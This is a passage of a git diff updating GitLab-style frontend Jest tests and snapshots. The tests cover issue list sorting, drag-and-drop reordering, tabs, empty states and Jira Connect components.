+ findGlPagination().vm.$emit('input');
expect(wrapper.emitted('page-change')).toBeTruthy();
});
});
+
+ describe('manual sorting', () => {
+ describe('when enabled', () => {
+ beforeEach(() => {
+ wrapper = createComponent({
+ props: {
+ ...mockIssuableListProps,
+ isManualOrdering: true,
+ },
+ });
+ });
+
+ it('renders VueDraggable component', () => {
+ expect(findVueDraggable().exists()).toBe(true);
+ });
+
+ it('IssuableItem has grab cursor', () => {
+ expect(findIssuableItem().classes()).toContain('gl-cursor-grab');
+ });
+
+ it('emits a "reorder" event when user updates the issue order', () => {
+ const oldIndex = 4;
+ const newIndex = 6;
+
+ findVueDraggable().vm.$emit('update', { oldIndex, newIndex });
+
+ expect(wrapper.emitted('reorder')).toEqual([[{ oldIndex, newIndex }]]);
+ });
+ });
+
+ describe('when disabled', () => {
+ beforeEach(() => {
+ wrapper = createComponent();
+ });
+
+ it('does not render VueDraggable component', () => {
+ expect(findVueDraggable().exists()).toBe(false);
+ });
+ });
+ });
});
diff --git a/spec/frontend/issuable_list/components/issuable_tabs_spec.js b/spec/frontend/issuable_list/components/issuable_tabs_spec.js
index 3cc237b9ce9..cbf5765078a 100644
--- a/spec/frontend/issuable_list/components/issuable_tabs_spec.js
+++ b/spec/frontend/issuable_list/components/issuable_tabs_spec.js
@@ -34,6 +34,9 @@ describe('IssuableTabs', () => {
wrapper.destroy();
});
+ const findAllGlBadges = () => wrapper.findAllComponents(GlBadge);
+ const findAllGlTabs = () => wrapper.findAllComponents(GlTab);
+
describe('methods', () => {
describe('isTabActive', () => {
it.each`
@@ -57,17 +60,19 @@ describe('IssuableTabs', () => {
describe('template', () => {
it('renders gl-tab for each tab within `tabs` array', () => {
- const tabsEl = wrapper.findAll(GlTab);
+ const tabsEl = findAllGlTabs();
expect(tabsEl.exists()).toBe(true);
expect(tabsEl).toHaveLength(mockIssuableListProps.tabs.length);
});
it('renders gl-badge component within a tab', () => {
- const badgeEl = wrapper.findAll(GlBadge).at(0);
+ const badges = findAllGlBadges();
- expect(badgeEl.exists()).toBe(true);
- expect(badgeEl.text()).toBe(`${mockIssuableListProps.tabCounts.opened}`);
+ // Does not render `All` badge since it has an undefined count
+ expect(badges).toHaveLength(2);
+ expect(badges.at(0).text()).toBe(`${mockIssuableListProps.tabCounts.opened}`);
+ expect(badges.at(1).text()).toBe(`${mockIssuableListProps.tabCounts.closed}`);
});
it('renders contents for slot "nav-actions"', () => {
@@ -80,7 +85,7 @@ describe('IssuableTabs', () => {
describe('events', () => {
it('gl-tab component emits `click` event on `click` event', () => {
- const tabEl = wrapper.findAll(GlTab).at(0);
+ const tabEl = findAllGlTabs().at(0);
tabEl.vm.$emit('click', 'opened');
diff --git a/spec/frontend/issuable_list/mock_data.js b/spec/frontend/issuable_list/mock_data.js
index 33ffd60bf95..e2fa99f7cc9 100644
--- a/spec/frontend/issuable_list/mock_data.js
+++ b/spec/frontend/issuable_list/mock_data.js
@@ -135,7 +135,7 @@ export const mockTabs = [
export const mockTabCounts = {
opened: 5,
closed: 0,
- all: 5,
+ all: undefined,
};
export const mockIssuableListProps = {
diff --git a/spec/frontend/issuable_show/mock_data.js b/spec/frontend/issuable_show/mock_data.js
index 9ecff705617..986d32b4982 100644
--- a/spec/frontend/issuable_show/mock_data.js
+++ b/spec/frontend/issuable_show/mock_data.js
@@ -32,6 +32,7 @@ export const mockIssuableShowProps = {
editFormVisible: false,
enableAutocomplete: true,
enableAutosave: true,
+ enableZenMode: true,
enableTaskList: true,
enableEdit: true,
showFieldTitle: false,
diff --git a/spec/frontend/issuable_type_selector/components/__snapshots__/info_popover_spec.js.snap b/spec/frontend/issuable_type_selector/components/__snapshots__/info_popover_spec.js.snap
new file mode 100644
index 00000000000..196fbb8a643
--- /dev/null
+++ b/spec/frontend/issuable_type_selector/components/__snapshots__/info_popover_spec.js.snap
@@ -0,0 +1,52 @@
+// Jest Snapshot v1, https://goo.gl/fbAQLP
+
+exports[`Issuable type info popover renders 1`] = `
+<span
+ id="popovercontainer"
+>
+ <gl-icon-stub
+ class="gl-ml-5 gl-text-gray-500"
+ id="issuable-type-info"
+ name="question-o"
+ size="16"
+ />
+
+ <gl-popover-stub
+ container="popovercontainer"
+ cssclasses=""
+ target="issuable-type-info"
+ title="Issue types"
+ triggers="focus hover"
+ >
+ <ul
+ class="gl-list-style-none gl-p-0 gl-m-0"
+ >
+ <li
+ class="gl-mb-3"
+ >
+ <div
+ class="gl-font-weight-bold"
+ >
+ Issue
+ </div>
+
+ <span>
+ For general work
+ </span>
+ </li>
+
+ <li>
+ <div
+ class="gl-font-weight-bold"
+ >
+ Incident
+ </div>
+
+ <span>
+ For investigating IT service disruptions or outages
+ </span>
+ </li>
+ </ul>
+ </gl-popover-stub>
+</span>
+`;
diff --git a/spec/frontend/issuable_type_selector/components/info_popover_spec.js b/spec/frontend/issuable_type_selector/components/info_popover_spec.js
new file mode 100644
index 00000000000..975977ffeb3
--- /dev/null
+++ b/spec/frontend/issuable_type_selector/components/info_popover_spec.js
@@ -0,0 +1,20 @@
+import { shallowMount } from '@vue/test-utils';
+import InfoPopover from '~/issuable_type_selector/components/info_popover.vue';
+
+describe('Issuable type info popover', () => {
+ let wrapper;
+
+ function createComponent() {
+ wrapper = shallowMount(InfoPopover);
+ }
+
+ afterEach(() => {
+ wrapper.destroy();
+ });
+
+ it('renders', () => {
+ createComponent();
+
+ expect(wrapper.element).toMatchSnapshot();
+ });
+});
diff --git a/spec/frontend/issue_show/components/edit_actions_spec.js b/spec/frontend/issue_show/components/edit_actions_spec.js
index 6a00eec4b1f..54707879f63 100644
--- a/spec/frontend/issue_show/components/edit_actions_spec.js
+++ b/spec/frontend/issue_show/components/edit_actions_spec.js
@@ -48,7 +48,7 @@ describe('Edit Actions components', () => {
vm.formState.title = '';
Vue.nextTick(() => {
- expect(vm.$el.querySelector('.btn-success').getAttribute('disabled')).toBe('disabled');
+ expect(vm.$el.querySelector('.btn-confirm').getAttribute('disabled')).toBe('disabled');
done();
});
@@ -65,16 +65,16 @@ describe('Edit Actions components', () => {
describe('updateIssuable', () => {
it('sends update.issauble event when clicking save button', () => {
- vm.$el.querySelector('.btn-success').click();
+ vm.$el.querySelector('.btn-confirm').click();
expect(eventHub.$emit).toHaveBeenCalledWith('update.issuable');
});
it('disabled button after clicking save button', (done) => {
- vm.$el.querySelector('.btn-success').click();
+ vm.$el.querySelector('.btn-confirm').click();
Vue.nextTick(() => {
- expect(vm.$el.querySelector('.btn-success').getAttribute('disabled')).toBe('disabled');
+ expect(vm.$el.querySelector('.btn-confirm').getAttribute('disabled')).toBe('disabled');
done();
});
diff --git a/spec/frontend/issues_list/components/issues_list_app_spec.js b/spec/frontend/issues_list/components/issues_list_app_spec.js
index 1053e8934c9..476804bda12 100644
--- a/spec/frontend/issues_list/components/issues_list_app_spec.js
+++ b/spec/frontend/issues_list/components/issues_list_app_spec.js
@@ -1,19 +1,59 @@
-import { shallowMount } from '@vue/test-utils';
+import { GlButton, GlEmptyState, GlLink } from '@gitlab/ui';
+import { mount, shallowMount } from '@vue/test-utils';
import AxiosMockAdapter from 'axios-mock-adapter';
+import { TEST_HOST } from 'helpers/test_constants';
import waitForPromises from 'helpers/wait_for_promises';
+import createFlash from '~/flash';
+import CsvImportExportButtons from '~/issuable/components/csv_import_export_buttons.vue';
import IssuableList from '~/issuable_list/components/issuable_list_root.vue';
+import { IssuableListTabs, IssuableStates } from '~/issuable_list/constants';
import IssuesListApp from '~/issues_list/components/issues_list_app.vue';
+
+import {
+ CREATED_DESC,
+ PAGE_SIZE,
+ PAGE_SIZE_MANUAL,
+ RELATIVE_POSITION_ASC,
+ sortOptions,
+ sortParams,
+} from '~/issues_list/constants';
+import eventHub from '~/issues_list/eventhub';
import axios from '~/lib/utils/axios_utils';
+import { setUrlParams } from '~/lib/utils/url_utility';
+
+jest.mock('~/flash');
describe('IssuesListApp component', () => {
+ const originalWindowLocation = window.location;
let axiosMock;
let wrapper;
- const fullPath = 'path/to/project';
- const endpoint = 'api/endpoint';
+ const defaultProvide = {
+ calendarPath: 'calendar/path',
+ canBulkUpdate: false,
+ emptyStateSvgPath: 'empty-state.svg',
+ endpoint: 'api/endpoint',
+ exportCsvPath: 'export/csv/path',
+ fullPath: 'path/to/project',
+ hasIssues: true,
+ isSignedIn: false,
+ issuesPath: 'path/to/issues',
+ jiraIntegrationPath: 'jira/integration/path',
+ newIssuePath: 'new/issue/path',
+ rssPath: 'rss/path',
+ showImportButton: true,
+ showNewIssueLink: true,
+ signInPath: 'sign/in/path',
+ };
+
const state = 'opened';
const xPage = 1;
const xTotal = 25;
+ const tabCounts = {
+ opened: xTotal,
+ closed: undefined,
+ all: undefined,
+ };
const fetchIssuesResponse = {
data: [],
headers: {
@@ -22,76 +62,484 @@ describe('IssuesListApp component', () => {
},
};
+ const findCsvImportExportButtons = () => wrapper.findComponent(CsvImportExportButtons);
+ const findGlButton = () => wrapper.findComponent(GlButton);
+ const findGlButtons = () => wrapper.findAllComponents(GlButton);
+ const findGlButtonAt = (index) => findGlButtons().at(index);
+ const findGlEmptyState = () => wrapper.findComponent(GlEmptyState);
+ const findGlLink = () => wrapper.findComponent(GlLink);
const findIssuableList = () => wrapper.findComponent(IssuableList);
- const mountComponent = () =>
- shallowMount(IssuesListApp, {
+ const mountComponent = ({ provide = {}, mountFn = shallowMount } = {}) =>
+ mountFn(IssuesListApp, {
provide: {
- endpoint,
- fullPath,
+ ...defaultProvide,
+ ...provide,
},
});
- beforeEach(async () => {
+ beforeEach(() => {
axiosMock = new AxiosMockAdapter(axios);
- axiosMock.onGet(endpoint).reply(200, fetchIssuesResponse.data, fetchIssuesResponse.headers);
- wrapper = mountComponent();
- await waitForPromises();
+ axiosMock
+ .onGet(defaultProvide.endpoint)
+ .reply(200, fetchIssuesResponse.data, fetchIssuesResponse.headers);
});
afterEach(() => {
+ window.location = originalWindowLocation;
axiosMock.reset();
wrapper.destroy();
});
- it('renders IssuableList', () => {
- expect(findIssuableList().props()).toMatchObject({
- namespace: fullPath,
- recentSearchesStorageKey: 'issues',
- searchInputPlaceholder: 'Search or filter results…',
- showPaginationControls: true,
- issuables: [],
- totalItems: xTotal,
- currentPage: xPage,
- previousPage: xPage - 1,
- nextPage: xPage + 1,
- urlParams: { page: xPage, state },
+ describe('IssuableList', () => {
+ beforeEach(async () => {
+ wrapper = mountComponent();
+ await waitForPromises();
+ });
+
+ it('renders', () => {
+ expect(findIssuableList().props()).toMatchObject({
+ namespace: defaultProvide.fullPath,
+ recentSearchesStorageKey: 'issues',
+ searchInputPlaceholder: 'Search or filter results…',
+ sortOptions,
+ initialSortBy: CREATED_DESC,
+ tabs: IssuableListTabs,
+ currentTab: IssuableStates.Opened,
+ tabCounts,
+ showPaginationControls: false,
+ issuables: [],
+ totalItems: xTotal,
+ currentPage: xPage,
+ previousPage: xPage - 1,
+ nextPage: xPage + 1,
+ urlParams: { page: xPage, state },
+ });
});
});
- describe('when "page-change" event is emitted', () => {
- const data = [{ id: 10, title: 'title', state }];
- const page = 2;
- const totalItems = 21;
+ describe('header action buttons', () => {
+ it('renders rss button', () => {
+ wrapper = mountComponent();
- beforeEach(async () => {
- axiosMock.onGet(endpoint).reply(200, data, {
- 'x-page': page,
- 'x-total': totalItems,
+ expect(findGlButtonAt(0).attributes()).toMatchObject({
+ href: defaultProvide.rssPath,
+ icon: 'rss',
+ 'aria-label': IssuesListApp.i18n.rssLabel,
+ });
+ });
+
+ it('renders calendar button', () => {
+ wrapper = mountComponent();
+
+ expect(findGlButtonAt(1).attributes()).toMatchObject({
+ href: defaultProvide.calendarPath,
+ icon: 'calendar',
+ 'aria-label': IssuesListApp.i18n.calendarLabel,
+ });
+ });
+
+ it('renders csv import/export component', async () => {
+ const search = '?page=1&search=refactor';
+
+ Object.defineProperty(window, 'location', {
+ writable: true,
+ value: { search },
});
- findIssuableList().vm.$emit('page-change', page);
+ wrapper = mountComponent();
await waitForPromises();
+
+ expect(findCsvImportExportButtons().props()).toMatchObject({
+ exportCsvPath: `${defaultProvide.exportCsvPath}${search}`,
+ issuableCount: xTotal,
+ });
});
- it('fetches issues with expected params', async () => {
- expect(axiosMock.history.get[1].params).toEqual({
- page,
- per_page: 20,
- state,
- with_labels_details: true,
+ describe('bulk edit button', () => {
+ it('renders when user has permissions', () => {
+ wrapper = mountComponent({ provide: { canBulkUpdate: true } });
+
+ expect(findGlButtonAt(2).text()).toBe('Edit issues');
+ });
+
+ it('does not render when user does not have permissions', () => {
+ wrapper = mountComponent({ provide: { canBulkUpdate: false } });
+
+ expect(findGlButtons().filter((button) => button.text() === 'Edit issues')).toHaveLength(0);
+ });
+
+ it('emits "issuables:enableBulkEdit" event to legacy bulk edit class', () => {
+ wrapper = mountComponent({ provide: { canBulkUpdate: true } });
+
+ jest.spyOn(eventHub, '$emit');
+
+ findGlButtonAt(2).vm.$emit('click');
+
+ expect(eventHub.$emit).toHaveBeenCalledWith('issuables:enableBulkEdit');
});
});
- it('updates IssuableList with response data', () => {
- expect(findIssuableList().props()).toMatchObject({
- issuables: data,
- totalItems,
- currentPage: page,
- previousPage: page - 1,
- nextPage: page + 1,
- urlParams: { page, state },
+ describe('new issue button', () => {
+ it('renders when user has permissions', () => {
+ wrapper = mountComponent({ provide: { showNewIssueLink: true } });
+
+ expect(findGlButtonAt(2).text()).toBe('New issue');
+ expect(findGlButtonAt(2).attributes('href')).toBe(defaultProvide.newIssuePath);
+ });
+
+ it('does not render when user does not have permissions', () => {
+ wrapper = mountComponent({ provide: { showNewIssueLink: false } });
+
+ expect(findGlButtons().filter((button) => button.text() === 'New issue')).toHaveLength(0);
+ });
+ });
+ });
+
+ describe('initial url params', () => {
+ describe('page', () => {
+ it('is set from the url params', () => {
+ const page = 5;
+
+ Object.defineProperty(window, 'location', {
+ writable: true,
+ value: { href: setUrlParams({ page }, TEST_HOST) },
+ });
+
+ wrapper = mountComponent();
+
+ expect(findIssuableList().props('currentPage')).toBe(page);
+ });
+ });
+
+ describe('sort', () => {
+ it.each(Object.keys(sortParams))('is set as %s from the url params', (sortKey) => {
+ Object.defineProperty(window, 'location', {
+ writable: true,
+ value: { href: setUrlParams(sortParams[sortKey], TEST_HOST) },
+ });
+
+ wrapper = mountComponent();
+
+ expect(findIssuableList().props()).toMatchObject({
+ initialSortBy: sortKey,
+ urlParams: sortParams[sortKey],
+ });
+ });
+ });
+
+ describe('state', () => {
+ it('is set from the url params', () => {
+ const initialState = IssuableStates.All;
+
+ Object.defineProperty(window, 'location', {
+ writable: true,
+ value: { href: setUrlParams({ state: initialState }, TEST_HOST) },
+ });
+
+ wrapper = mountComponent();
+
+ expect(findIssuableList().props('currentTab')).toBe(initialState);
+ });
+ });
+ });
+
+ describe('bulk edit', () => {
+ describe.each([true, false])(
+ 'when "issuables:toggleBulkEdit" event is received with payload `%s`',
+ (isBulkEdit) => {
+ beforeEach(() => {
+ wrapper = mountComponent();
+
+ eventHub.$emit('issuables:toggleBulkEdit', isBulkEdit);
+ });
+
+ it(`${isBulkEdit ? 'enables' : 'disables'} bulk edit`, () => {
+ expect(findIssuableList().props('showBulkEditSidebar')).toBe(isBulkEdit);
+ });
+ },
+ );
+ });
+
+ describe('empty states', () => {
+ describe('when there are issues', () => {
+ describe('when search returns no results', () => {
+ beforeEach(async () => {
+ Object.defineProperty(window, 'location', {
+ writable: true,
+ value: { href: setUrlParams({ search: 'no results' }, TEST_HOST) },
+ });
+
+ wrapper = mountComponent({ provide: { hasIssues: true } });
+
+ await waitForPromises();
+ });
+
+ it('shows empty state', () => {
+ expect(findGlEmptyState().props()).toMatchObject({
+ description: IssuesListApp.i18n.noSearchResultsDescription,
+ title: IssuesListApp.i18n.noSearchResultsTitle,
+ svgPath: defaultProvide.emptyStateSvgPath,
+ });
+ });
+ });
+
+ describe('when "Open" tab has no issues', () => {
+ beforeEach(() => {
+ wrapper = mountComponent({ provide: { hasIssues: true } });
+ });
+
+ it('shows empty state', () => {
+ expect(findGlEmptyState().props()).toMatchObject({
+ description: IssuesListApp.i18n.noOpenIssuesDescription,
+ title: IssuesListApp.i18n.noOpenIssuesTitle,
+ svgPath: defaultProvide.emptyStateSvgPath,
+ });
+ });
+ });
+
+ describe('when "Closed" tab has no issues', () => {
+ beforeEach(async () => {
+ Object.defineProperty(window, 'location', {
+ writable: true,
+ value: { href: setUrlParams({ state: IssuableStates.Closed }, TEST_HOST) },
+ });
+
+ wrapper = mountComponent({ provide: { hasIssues: true } });
+ });
+
+ it('shows empty state', () => {
+ expect(findGlEmptyState().props()).toMatchObject({
+ title: IssuesListApp.i18n.noClosedIssuesTitle,
+ svgPath: defaultProvide.emptyStateSvgPath,
+ });
+ });
+ });
+ });
+
+ describe('when there are no issues', () => {
+ describe('when user is logged in', () => {
+ beforeEach(() => {
+ wrapper = mountComponent({
+ provide: { hasIssues: false, isSignedIn: true },
+ mountFn: mount,
+ });
+ });
+
+ it('shows empty state', () => {
+ expect(findGlEmptyState().props()).toMatchObject({
+ description: IssuesListApp.i18n.noIssuesSignedInDescription,
+ title: IssuesListApp.i18n.noIssuesSignedInTitle,
+ svgPath: defaultProvide.emptyStateSvgPath,
+ });
+ });
+
+ it('shows "New issue" and import/export buttons', () => {
+ expect(findGlButton().text()).toBe(IssuesListApp.i18n.newIssueLabel);
+ expect(findGlButton().attributes('href')).toBe(defaultProvide.newIssuePath);
+ expect(findCsvImportExportButtons().props()).toMatchObject({
+ exportCsvPath: defaultProvide.exportCsvPath,
+ issuableCount: 0,
+ });
+ });
+
+ it('shows Jira integration information', () => {
+ const paragraphs = wrapper.findAll('p');
+ expect(paragraphs.at(2).text()).toContain(IssuesListApp.i18n.jiraIntegrationTitle);
+ expect(paragraphs.at(3).text()).toContain(
+ 'Enable the Jira integration to view your Jira issues in GitLab.',
+ );
+ expect(paragraphs.at(4).text()).toContain(
+ IssuesListApp.i18n.jiraIntegrationSecondaryMessage,
+ );
+ expect(findGlLink().text()).toBe('Enable the Jira integration');
+ expect(findGlLink().attributes('href')).toBe(defaultProvide.jiraIntegrationPath);
+ });
+ });
+
+ describe('when user is logged out', () => {
+ beforeEach(() => {
+ wrapper = mountComponent({
+ provide: { hasIssues: false, isSignedIn: false },
+ });
+ });
+
+ it('shows empty state', () => {
+ expect(findGlEmptyState().props()).toMatchObject({
+ description: IssuesListApp.i18n.noIssuesSignedOutDescription,
+ title: IssuesListApp.i18n.noIssuesSignedOutTitle,
+ svgPath: defaultProvide.emptyStateSvgPath,
+ primaryButtonText: IssuesListApp.i18n.noIssuesSignedOutButtonText,
+ primaryButtonLink: defaultProvide.signInPath,
+ });
+ });
+ });
+ });
+ });
+
+ describe('events', () => {
+ describe('when "click-tab" event is emitted by IssuableList', () => {
+ beforeEach(() => {
+ axiosMock.onGet(defaultProvide.endpoint).reply(200, fetchIssuesResponse.data, {
+ 'x-page': 2,
+ 'x-total': xTotal,
+ });
+
+ wrapper = mountComponent();
+
+ findIssuableList().vm.$emit('click-tab', IssuableStates.Closed);
+ });
+
+ it('makes API call to filter the list by the new state and resets the page to 1', () => {
+ expect(axiosMock.history.get[1].params).toMatchObject({
+ page: 1,
+ state: IssuableStates.Closed,
+ });
+ });
+ });
+
+ describe('when "page-change" event is emitted by IssuableList', () => {
+ const data = [{ id: 10, title: 'title', state }];
+ const page = 2;
+ const totalItems = 21;
+
+ beforeEach(async () => {
+ axiosMock.onGet(defaultProvide.endpoint).reply(200, data, {
+ 'x-page': page,
+ 'x-total': totalItems,
+ });
+
+ wrapper = mountComponent();
+
+ findIssuableList().vm.$emit('page-change', page);
+
+ await waitForPromises();
+ });
+
+ it('fetches issues with expected params', () => {
+ expect(axiosMock.history.get[1].params).toEqual({
+ page,
+ per_page: PAGE_SIZE,
+ state,
+ with_labels_details: true,
+ });
+ });
+
+ it('updates IssuableList with response data', () => {
+ expect(findIssuableList().props()).toMatchObject({
+ issuables: data,
+ totalItems,
+ currentPage: page,
+ previousPage: page - 1,
+ nextPage: page + 1,
+ urlParams: { page, state },
+ });
+ });
+ });
+
+ describe('when "reorder" event is emitted by IssuableList', () => {
+ const issueOne = { id: 1, iid: 101, title: 'Issue one' };
+ const issueTwo = { id: 2, iid: 102, title: 'Issue two' };
+ const issueThree = { id: 3, iid: 103, title: 'Issue three' };
+ const issueFour = { id: 4, iid: 104, title: 'Issue four' };
+ const issues = [issueOne, issueTwo, issueThree, issueFour];
+
+ beforeEach(async () => {
+ axiosMock.onGet(defaultProvide.endpoint).reply(200, issues, fetchIssuesResponse.headers);
+ wrapper = mountComponent();
+ await waitForPromises();
+ });
+
+ describe('when successful', () => {
+ describe.each`
+ description | issueToMove | oldIndex | newIndex | moveBeforeId | moveAfterId
+ ${'to the beginning of the list'} | ${issueThree} | ${2} | ${0} | ${null} | ${issueOne.id}
+ ${'down the list'} | ${issueOne} | ${0} | ${1} | ${issueTwo.id} | ${issueThree.id}
+ ${'up the list'} | ${issueThree} | ${2} | ${1} | ${issueOne.id} | ${issueTwo.id}
+ ${'to the end of the list'} | ${issueTwo} | ${1} | ${3} | ${issueFour.id} | ${null}
+ `(
+ 'when moving issue $description',
+ ({ issueToMove, oldIndex, newIndex, moveBeforeId, moveAfterId }) => {
+ it('makes API call to reorder the issue', async () => {
+ findIssuableList().vm.$emit('reorder', { oldIndex, newIndex });
+
+ await waitForPromises();
+
+ expect(axiosMock.history.put[0]).toMatchObject({
+ url: `${defaultProvide.issuesPath}/${issueToMove.iid}/reorder`,
+ data: JSON.stringify({ move_before_id: moveBeforeId, move_after_id: moveAfterId }),
+ });
+ });
+ },
+ );
+ });
+
+ describe('when unsuccessful', () => {
+ it('displays an error message', async () => {
+ axiosMock.onPut(`${defaultProvide.issuesPath}/${issueOne.iid}/reorder`).reply(500);
+
+ findIssuableList().vm.$emit('reorder', { oldIndex: 0, newIndex: 1 });
+
+ await waitForPromises();
+
+ expect(createFlash).toHaveBeenCalledWith({ message: IssuesListApp.i18n.reorderError });
+ });
+ });
+ });
+
+ describe('when "sort" event is emitted by IssuableList', () => {
+ it.each(Object.keys(sortParams))(
+ 'fetches issues with correct params with payload `%s`',
+ async (sortKey) => {
+ wrapper = mountComponent();
+
+ findIssuableList().vm.$emit('sort', sortKey);
+
+ await waitForPromises();
+
+ expect(axiosMock.history.get[1].params).toEqual({
+ page: xPage,
+ per_page: sortKey === RELATIVE_POSITION_ASC ? PAGE_SIZE_MANUAL : PAGE_SIZE,
+ state,
+ with_labels_details: true,
+ ...sortParams[sortKey],
+ });
+ },
+ );
+ });
+
+ describe('when "update-legacy-bulk-edit" event is emitted by IssuableList', () => {
+ beforeEach(() => {
+ wrapper = mountComponent();
+ jest.spyOn(eventHub, '$emit');
+ });
+
+ it('emits an "issuables:updateBulkEdit" event to the legacy bulk edit class', async () => {
+ findIssuableList().vm.$emit('update-legacy-bulk-edit');
+
+ await waitForPromises();
+
+ expect(eventHub.$emit).toHaveBeenCalledWith('issuables:updateBulkEdit');
+ });
+ });
+
+ describe('when "filter" event is emitted by IssuableList', () => {
+ beforeEach(async () => {
+ wrapper = mountComponent();
+
+ const payload = [
+ { type: 'filtered-search-term', value: { data: 'no' } },
+ { type: 'filtered-search-term', value: { data: 'issues' } },
+ ];
+
+ findIssuableList().vm.$emit('filter', payload);
+
+ await waitForPromises();
+ });
+
+ it('makes an API call to search for issues with the search term', () => {
+ expect(axiosMock.history.get[1].params).toMatchObject({ search: 'no issues' });
});
});
});
diff --git a/spec/frontend/jira_connect/api_spec.js b/spec/frontend/jira_connect/api_spec.js
index 240a57c7917..88922999715 100644
--- a/spec/frontend/jira_connect/api_spec.js
+++ b/spec/frontend/jira_connect/api_spec.js
@@ -1,8 +1,13 @@
import MockAdapter from 'axios-mock-adapter';
import { addSubscription, removeSubscription, fetchGroups } from '~/jira_connect/api';
+import { getJwt } from '~/jira_connect/utils';
import axios from '~/lib/utils/axios_utils';
import httpStatus from '~/lib/utils/http_status';
+jest.mock('~/jira_connect/utils', () => ({
+ getJwt: jest.fn().mockResolvedValue('jwt'),
+}));
+
describe('JiraConnect API', () => {
let mock;
let response;
@@ -13,14 +18,6 @@ describe('JiraConnect API', () => {
const mockJwt = 'jwt';
const mockResponse = { success: true };
- const tokenSpy = jest.fn((callback) => callback(mockJwt));
-
- window.AP = {
- context: {
- getToken: tokenSpy,
- },
- };
-
beforeEach(() => {
mock = new MockAdapter(axios);
});
@@ -44,7 +41,7 @@ describe('JiraConnect API', () => {
response = await makeRequest();
- expect(tokenSpy).toHaveBeenCalled();
+ expect(getJwt).toHaveBeenCalled();
expect(axios.post).toHaveBeenCalledWith(mockAddPath, {
jwt: mockJwt,
namespace_path: mockNamespace,
@@ -62,7 +59,7 @@ describe('JiraConnect API', () => {
response = await makeRequest();
- expect(tokenSpy).toHaveBeenCalled();
+ expect(getJwt).toHaveBeenCalled();
expect(axios.delete).toHaveBeenCalledWith(mockRemovePath, {
params: {
jwt: mockJwt,
diff --git a/spec/frontend/jira_connect/components/__snapshots__/group_item_name_spec.js.snap b/spec/frontend/jira_connect/components/__snapshots__/group_item_name_spec.js.snap
new file mode 100644
index 00000000000..21c903f064d
--- /dev/null
+++ b/spec/frontend/jira_connect/components/__snapshots__/group_item_name_spec.js.snap
@@ -0,0 +1,44 @@
+// Jest Snapshot v1, https://goo.gl/fbAQLP
+
+exports[`GroupItemName template matches the snapshot 1`] = `
+<div
+ class="gl-display-flex gl-align-items-center"
+>
+ <gl-icon-stub
+ class="gl-mr-3"
+ name="folder-o"
+ size="16"
+ />
+
+ <div
+ class="gl-display-none gl-flex-shrink-0 gl-sm-display-flex gl-mr-3"
+ >
+ <gl-avatar-stub
+ alt="avatar"
+ entityid="0"
+ entityname="Gitlab Org"
+ shape="rect"
+ size="32"
+ src="avatar.png"
+ />
+ </div>
+
+ <div>
+ <span
+ class="gl-mr-3 gl-text-gray-900! gl-font-weight-bold"
+ >
+
+ Gitlab Org
+
+ </span>
+
+ <div>
+ <p
+ class="gl-mt-2! gl-mb-0 gl-text-gray-600"
+ >
+ Open source software to collaborate on code
+ </p>
+ </div>
+ </div>
+</div>
+`;
diff --git a/spec/frontend/jira_connect/components/app_spec.js b/spec/frontend/jira_connect/components/app_spec.js
index e2a5cd1be9d..e0d61d8209b 100644
--- a/spec/frontend/jira_connect/components/app_spec.js
+++ b/spec/frontend/jira_connect/components/app_spec.js
@@ -1,50 +1,39 @@
import { GlAlert, GlButton, GlModal, GlLink } from '@gitlab/ui';
import { mount, shallowMount } from '@vue/test-utils';
-import { extendedWrapper } from 'helpers/vue_test_utils_helper';
import JiraConnectApp from '~/jira_connect/components/app.vue';
import createStore from '~/jira_connect/store';
import { SET_ALERT } from '~/jira_connect/store/mutation_types';
-import { persistAlert } from '~/jira_connect/utils';
import { __ } from '~/locale';
-jest.mock('~/jira_connect/api');
+jest.mock('~/jira_connect/utils', () => ({
+ retrieveAlert: jest.fn().mockReturnValue({ message: 'error message' }),
+ getLocation: jest.fn(),
+}));
describe('JiraConnectApp', () => {
let wrapper;
let store;
const findAlert = () => wrapper.findComponent(GlAlert);
- const findAlertLink = () => findAlert().find(GlLink);
+ const findAlertLink = () => findAlert().findComponent(GlLink);
const findGlButton = () => wrapper.findComponent(GlButton);
const findGlModal = () => wrapper.findComponent(GlModal);
- const findHeader = () => wrapper.findByTestId('new-jira-connect-ui-heading');
- const findHeaderText = () => findHeader().text();
const createComponent = ({ provide, mountFn = shallowMount } = {}) => {
store = createStore();
- wrapper = extendedWrapper(
- mountFn(JiraConnectApp, {
- store,
- provide,
- }),
- );
+ wrapper = mountFn(JiraConnectApp, {
+ store,
+ provide,
+ });
};
afterEach(() => {
wrapper.destroy();
- wrapper = null;
});
describe('template', () => {
- it('renders new UI', () => {
- createComponent();
-
- expect(findHeader().exists()).toBe(true);
- expect(findHeaderText()).toBe('Linked namespaces');
- });
-
describe('when user is not logged in', () => {
beforeEach(() => {
createComponent({
@@ -128,7 +117,6 @@ describe('JiraConnectApp', () => {
describe('when alert is set in localStoage', () => {
it('renders alert on mount', () => {
- persistAlert({ message: 'error message' });
createComponent();
const alert = findAlert();
diff --git a/spec/frontend/jira_connect/components/group_item_name_spec.js b/spec/frontend/jira_connect/components/group_item_name_spec.js
new file mode 100644
index 00000000000..ea0067f8ed1
--- /dev/null
+++ b/spec/frontend/jira_connect/components/group_item_name_spec.js
@@ -0,0 +1,28 @@
+import { shallowMount } from '@vue/test-utils';
+
+import GroupItemName from '~/jira_connect/components/group_item_name.vue';
+import { mockGroup1 } from '../mock_data';
+
+describe('GroupItemName', () => {
+ let wrapper;
+
+ const createComponent = () => {
+ wrapper = shallowMount(GroupItemName, {
+ propsData: {
+ group: mockGroup1,
+ },
+ });
+ };
+
+ afterEach(() => {
+ wrapper.destroy();
+ });
+
+ describe('template', () => {
+ it('matches the snapshot', () => {
+ createComponent();
+
+ expect(wrapper.element).toMatchSnapshot();
+ });
+ });
+});
diff --git a/spec/frontend/jira_connect/components/groups_list_item_spec.js b/spec/frontend/jira_connect/components/groups_list_item_spec.js
index da16223255c..bcc27cc2898 100644
--- a/spec/frontend/jira_connect/components/groups_list_item_spec.js
+++ b/spec/frontend/jira_connect/components/groups_list_item_spec.js
@@ -1,11 +1,11 @@
-import { GlAvatar, GlButton } from '@gitlab/ui';
+import { GlButton } from '@gitlab/ui';
import { mount, shallowMount } from '@vue/test-utils';
-import { extendedWrapper } from 'helpers/vue_test_utils_helper';
import waitForPromises from 'helpers/wait_for_promises';
import * as JiraConnectApi from '~/jira_connect/api';
+import GroupItemName from '~/jira_connect/components/group_item_name.vue';
import GroupsListItem from '~/jira_connect/components/groups_list_item.vue';
-import { persistAlert } from '~/jira_connect/utils';
